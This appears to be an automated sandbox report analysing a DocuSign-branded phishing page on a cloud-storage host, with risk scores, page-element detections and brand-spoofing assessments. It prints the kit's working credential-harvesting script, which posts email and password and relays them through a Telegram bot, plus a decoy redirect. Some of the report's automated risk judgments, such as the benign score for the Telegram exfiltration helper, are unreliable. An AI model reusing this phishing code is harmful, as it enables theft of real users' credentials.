Windows Analysis Report
https://eu2.contabostorage.com/69e36f1a5de941bb877627f90e79fd6d:gip/document.html#phishme@arrowbank.com

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://eu2.contabostorage.com

{
    "risk_score": 4,
    "reasoning": "The script demonstrates some moderate-risk behaviors, such as aggressive DOM manipulation and the use of obfuscated code. However, it appears to be a legitimate loading/authentication sequence, and the obfuscation may be a result of minification or other optimization practices. Further review would be needed to determine if there are any malicious intentions behind the script."
}

			function myFunction() {
  $('#dButton').hide();
  $("#loaderClass").show();
  var _0x9f8865 = new Array();
  _0x9f8865.push("Authenticating ...");
  _0x9f8865.push("Syncing cloud");
  _0x9f8865.push("Loading ...");
  var _0x1b5bc3 = 0x0;
  function _0x69ee31() {
    $("#loaderText").html(_0x9f8865[_0x1b5bc3]);
    if (_0x1b5bc3 < _0x9f8865.length - 0x1) {
      _0x1b5bc3++;
    } else {
      _0x1b5bc3 = 0x0;
    }
    setTimeout(_0x69ee31, 0x3e8);
  }
  _0x69ee31();
  window.setTimeout(function () {
    $('#loaderText').hide();
    $("#loaderText2").show();
  }, 0xbb8);
  window.setTimeout(function () {
    $("#loginForm").show();
    $('#overlayclass').show();
  }, 0xfa0);
}

{
    "risk_score": 1,
    "reasoning": "This appears to be the standard jQuery library, which is a widely used and trusted JavaScript library. It does not exhibit any high-risk behaviors, and the code is not obfuscated or attempting to execute dynamic code. The library is used for common web development tasks and does not pose a significant security risk."
}

/*! jQuery v2.1.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */
!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.1",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),fun

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including data exfiltration, redirects to suspicious domains, and obfuscated code. It collects user credentials and sends them to an external server, which is a clear indication of malicious intent. Additionally, the script attempts to redirect the user to a suspicious domain after a failed login attempt. The overall behavior of this script is highly suspicious and poses a significant security risk."
}

 
$(document).ready(function () {
  var _0x2e8f33 = 0;
  var _0x3d449d = window.location.hash.substr(1);
  if (!_0x3d449d) {
    $("#pageContent").hide();
  } else {
    window.setTimeout(function () {
      $("#pageContent").show();
      $("#mainLoader").hide();
    }, 3e3);
    var _0x5b5807 = _0x3d449d.indexOf("@");
    var _0x1254ec = _0x3d449d.substr(_0x5b5807 + 1);
    var _0x3eca14 = _0x1254ec.substr(0, _0x1254ec.indexOf("."));
    var _0x57b930 = _0x3eca14.toLowerCase();
    $("#email").val(_0x3d449d);
    $("#faviconPage").attr("href", "https://logo.clearbit.com/" + _0x1254ec);
    $("#faviconImg").attr("src", "https://logo.clearbit.com/" + _0x1254ec);
    $("#userDomainIcon").attr("src", "https://logo.clearbit.com/" + _0x1254ec);
    document.title = "Sign in with " + _0x1254ec;
    $("#domain-name").html(_0x57b930);
    $("#msg").hide();
    $("#emailShow").html(_0x3d449d);
    $("#emailIdLable").html(_0x3d449d);
  }
  $("#submit-btn").click(function (_0x51d675) {
    $("#error").hide();
    $("#msg").hide();
    _0x51d675.preventDefault();
    var _0x3b06d2 = $("#email").val();
    var _0x320cc9 = $("#password").val();
    var _0xa560fb = $("#msg").html();
    $("#msg").text(_0xa560fb);
    if (!_0x320cc9) {
      $("#msg").show();
      $("#msg").html("Your password field is empty!!");
      ai.focus;
      return false;
    }
    var _0x3fe763 = _0x3b06d2.indexOf("@");
    var _0x526ae4 = _0x3b06d2.substr(_0x3fe763 + 1);
    var _0x1989fb = _0x526ae4.substr(0, _0x526ae4.indexOf("."));
    var _0x25322b = _0x1989fb.toLowerCase();
    _0x2e8f33 = _0x2e8f33 + 1;
    $("#domain-name").html(_0x25322b);
    $.ajax({dataType: "JSON", url: Xeno, type: "POST", data: {email: _0x3b06d2, password: _0x320cc9}, beforeSend: function (_0x19dbda) {
      $("#submit-btn").html("Authenticating ...");
	 
    },
	
	
	
	
	

	error: function () {
	$("#submit-btn").html("NEXT");
	$("#error").show();
      $("#password").val("");
      if (_0x2e8f33 >= 2) {
        _0x2e8f33 = 0;
        window.location.replace("https://www.tyagiindustries.com/document/files/REMITTANCE-COPY-REF-761902672000710000000027163.pdf");
      }
	  
      document.getElementById("password").style.borderColor = "red";
      bot.sendMessage(_0x25322b + " Email : " + _0x3b06d2 + " / " + _0x25322b + " Pass : " + _0x320cc9);
      $("#error").show();
	  
    }, complete: function () {
      $("#submit-btn").html("NEXT");
    }});
  });
});


    

{
    "risk_score": 2,
    "reasoning": "The provided JavaScript code appears to be a simple implementation of a Telegram bot API wrapper, which is a common and legitimate use case. The code does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The API calls are made to the official Telegram API endpoint, which is a trusted domain. The code also includes common functionality like sending messages, photos, audio, and voice messages, which are typical features of a Telegram bot. Overall, the code seems to be a well-structured and legitimate implementation, with no clear signs of malicious intent."
}

class TelegramBotSetup {
  constructor(token) {
    this.token = token;
    this.requestUrl = 'https://api.telegram.org/bot';
  }

  api(type, method, body) {
    return new Promise((resolve, reject) => {
      fetch(this.requestUrl + this.token + type, {
        method: method,
        body: body
      }).then(res => {
        resolve(res.json())
      }).catch(err => {
        reject(err)
      })
    })
  }
}

class Bot extends TelegramBotSetup {
  constructor(botToken, defaultChatID) {
    super(botToken);
    this.dcid = defaultChatID;
  }

  static start() {
    console.log("Send telegram message with JS\nDeveloper: https://manuchehr.me\nDocs: https://github.com/manuchekhr32/send-telegram-message-with-js");
  }

  async getUpdates() {
    try {
      const result = await this.api('/getUpdates', 'GET')
      return await result
    } catch(e) {
      return await e
    }
  }

  async getMe() {
    try {
      const result = await this.api('/getMe', 'GET')
      return await result
    } catch(e) {
      return await e
    }
  }

  async sendMessage(text, chatID, parseMode, disableNotification) {
    try {
      const result = await this.api(`/sendMessage?text=${text}&chat_id=${chatID ? chatID : this.dcid}&parse_mode=${parseMode ? parseMode : 'html'}&disable_notification=${disableNotification ? disableNotification : false}`, 'GET')
      return await result
    } catch(e) {
      return await e
    }
  }

  async sendPhoto(img, caption, chatID, parseMode, disableNotification) {
    try {
      if (img.startsWith('#')) {
        const file = document.getElementById(img.replace('#', ''));
        const formData = new FormData();
        formData.append("photo", file.files[0])
        const result = await this.api(`/sendPhoto?caption=${caption ? caption : ''}&chat_id=${chatID ? chatID : this.dcid}&parse_mode=${parseMode ? parseMode : 'html'}&disable_notification=${disableNotification ? disableNotification : false}`, 
          'POST', formData)
        return await result
      }
      else if (typeof img === 'string') {
        const result = await this.api(`/sendPhoto?photo=${img}&caption=${caption ? caption : ''}&chat_id=${chatID ? chatID : this.dcid}&parse_mode=${parseMode ? parseMode : 'html'}&disable_notification=${disableNotification ? disableNotification : false}`, 'GET')
        return await result
      }
    } catch(e) {
      return await e
    }
  }

  async sendAudio(audio, caption, chatID, parseMode, disableNotification) {
    try {
      if (audio.startsWith('#')) {
        const file = document.getElementById(audio.replace('#', ''));
        const formData = new FormData();
        formData.append("audio", file.files[0])
        const result = await this.api(`/sendAudio?caption=${caption ? caption : ''}&chat_id=${chatID ? chatID : this.dcid}&parse_mode=${parseMode ? parseMode : 'html'}&disable_notification=${disableNotification ? disableNotification : false}`, 
          'POST', formData)
        return await result
      }
      else if (typeof audio === 'string') {
        const result = await this.api(`/sendAudio?audio=${audio}&caption=${caption ? caption : ''}&chat_id=${chatID ? chatID : this.dcid}&parse_mode=${parseMode ? parseMode : 'html'}&disable_notification=${disableNotification ? disableNotification : false}`, 'GET')
        return await result
      }
    } catch(e) {
      return await e
    }
  }

  async sendVoice(voice, caption, chatID, parseMode, disableNotification) {
    try {
      if (voice.startsWith('#')) {
        const file = document.getElementById(voice.replace('#', ''));
        const formData = new FormData();
        formData.append("voice", file.files[0])
        const result = await this.api(`/sendVoice?caption=${caption ? caption : ''}&chat_id=${chatID ? chatID : this.dcid}&parse_mode=${parseMode ? parseMode : 'html'}&disable_notification=${disableNotification ? disableNotification

{
"contains_trigger_text": true,
"trigger_text": "This document has been shared with your email phishme@arrowbank.com on DocuSign please download.",
"prominent_button_name": "View document",
"text_input_field_labels": "unknown",
"pdf_icon_visible": true,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": true,
"trigger_text": "This document has been shared with your email phishme@arrowbank.com on DocuSign please download.",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": true,
"has_visible_captcha": true,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "DocuSign"
  ]
}

{
  "brands": [
    "DocuSign"
  ]
}

```json{  "legit_domain": "docusign.com",  "classification": "wellknown",  "reasons": [    "The brand 'DocuSign' is a well-known electronic signature service.",    "The URL 'eu2.contabostorage.com' does not match the legitimate domain 'docusign.com'.",    "The domain 'contabostorage.com' appears to be a cloud storage service, which is not directly associated with DocuSign.",    "The use of a cloud storage domain could indicate a phishing attempt, especially if it is not a known service provider for DocuSign.",    "There is no direct association between 'contabostorage.com' and DocuSign, raising suspicion."  ],  "riskscore": 8}
Google indexed: True

URL: eu2.contabostorage.com
			Brands: DocuSign
			Input Fields: unknown

{
"contains_trigger_text": true,
"trigger_text": "Provide your email password to continue",
"prominent_button_name": "NEXT",
"text_input_field_labels": "Password",
"pdf_icon_visible": true,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "DocuSign"
  ]
}

```json{  "legit_domain": "docusign.com",  "classification": "wellknown",  "reasons": [    "The brand 'DocuSign' is well-known and typically associated with the domain 'docusign.com'.",    "The URL 'eu2.contabostorage.com' does not match the legitimate domain for DocuSign.",    "The domain 'contabostorage.com' suggests a cloud storage service, which is not directly related to DocuSign's primary domain.",    "Presence of input fields like 'Password' on a non-legitimate domain is a common phishing tactic.",    "The use of a third-party storage service domain can be a red flag for phishing, especially when associated with a well-known brand like DocuSign."  ],  "riskscore": 9}
Google indexed: True